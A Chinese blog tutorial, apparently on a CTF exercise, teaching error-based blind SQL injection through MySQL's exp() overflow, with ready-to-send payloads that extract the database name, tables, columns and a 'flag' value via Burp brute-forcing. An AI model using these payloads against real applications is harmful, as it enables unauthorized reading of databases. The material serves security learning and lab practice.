【exp报错注入】

整数范围

最大整数


exp 函数介绍

报错盲注注入

payload分析

709+C-ASCII 值就等于我们下面的 709+1-1 ,C就是我们要猜的值,当我们猜测的值和ASCII码相等时,那么exp就不会出现报错,因为+1-1还是等于709:

练习

cpp 复制代码
id=1 and 1=1%23    返回hello,admin
id=1' and 1=1%23   返回数据库操作错误

通过上面测试这是一个数字型注入的题目我们直接用下面的payload:

cpp 复制代码
猜测数据库名的长度
id=1 and exp(709%2b4-length(database()))%23

我们看到上面payload里的709%2b4%23是加号的意思这里的意思是709+4,那么为什么要把+号编码呢?因为在burp里+号会被认为是空格,所以需要url编码来编码一下,我们来发包:

这里提示数据库操作错误,因为我们这里的猜测是值是4,出现报错说明我们后面的数据库长度没有四位,因为根据我们的exp(709)大于709会报错的特性,那么数据库长度必然小于4,不然的话不会出现报错,这里我们使用burp的爆破模块来猜测长度,在C的位置打上标记:

这里我们是从大到小猜的,

我们观察发现474为错误信息,4和3之间有个转折点,从原本报错的4变成3后正常了,那么说明我们数据库的长度为3:

下面我们开始猜测数据库名:

cpp 复制代码
猜测数据库名
id=1 and exp(709%2b119-ascii(substr((select database()),1,1)))%23

直接在C打上标记:

因为exp的特性,所以我们需要从大到小开始猜测,ASCII码的可见范围是32~127,那么我们就从127开始猜测:

我们找到报错和正常的转折点的数字,119就是我们所需要的正确的ASCII,第二位第三位都是同理:

cpp 复制代码
猜表名的长度
id=1 and exp(709%2b9-(select length(group_concat(table_name)) from information_schema.tables where table_schema=database()))%23

猜表名的代码里和上次讲的盲注代码类似,变动的地方是exp函数,我们需要猜测的地方是9的位置,同样爆破9的位置,表名通常不会很大,我们只需要在1~10范围内猜测,大概率就可以拿到长度,其他的payload如下,方法都是类似,用burp标记后爆破就可以得出结果:

cpp 复制代码
测试注入点
id=1 and 1=1%23    返回hello,admin
id=1' and 1=1%23   返回数据库操作错误

猜测数据库名的长度
id=1 and exp(709%2b4-length(database()))%23

猜测数据库名
id=1 and exp(709%2b119-ascii(substr((select database()),1,1)))%23

猜表名
id=1 and exp(709%2b103-ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)))%23

猜列名长度
id=1 and exp(709%2b4-(select length(group_concat(column_name)) from information_schema.columns where table_name='flag'))%23

猜列名
id=1 and exp(709%2b102-ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,1)))%23

猜数据长度
id=1 and exp(709%2b38-(select length(flag) from flag))%23

猜数据
id=1 and exp(709%2b102-ascii(substr((select flag from flag),1,1)))%23
相关推荐
Y3815326621 小时前
2026 年 7 月,SERP API 调用的稳定性实战:超时、重试、降级
开发语言·数据库·人工智能·php
sugar__salt1 小时前
向量数据库从零到实战:用 Milvus + Zilliz 构建 AI 日记语义检索系统
数据库·人工智能·embedding·milvus·rag·zilliz
Gauss松鼠会1 小时前
Prometheus 实现 openGauss 的指标监控(二)Prometheus 中添加 openGauss指标
网络·数据库·oracle·prometheus·opengauss·经验总结
Cloud云卷云舒2 小时前
PolarDB(阿里云)VS HaishanDB(海山数据库,移动云)的AI能力全面对比
数据库·阿里云·ai-native·polardb·haishandb
我是人✓2 小时前
SQL主键与外键
java·数据库
飞翔的馒2 小时前
浏览器缓存之【结构化数据库与缓存】: IndexedDB、Cache storage 和 Storage buckets
数据库·缓存
SelectDB2 小时前
SelectDB search():AI 日志搜索与分析场景的技术能力与实践
数据库
SelectDB2 小时前
Apache Doris 事务保障:技术能力、选型对比与企业实践
数据库
SelectDB2 小时前
AI Observe Stack(基于 Apache Doris):AI Agent 可观测性技术能力、选型对比与实践
数据库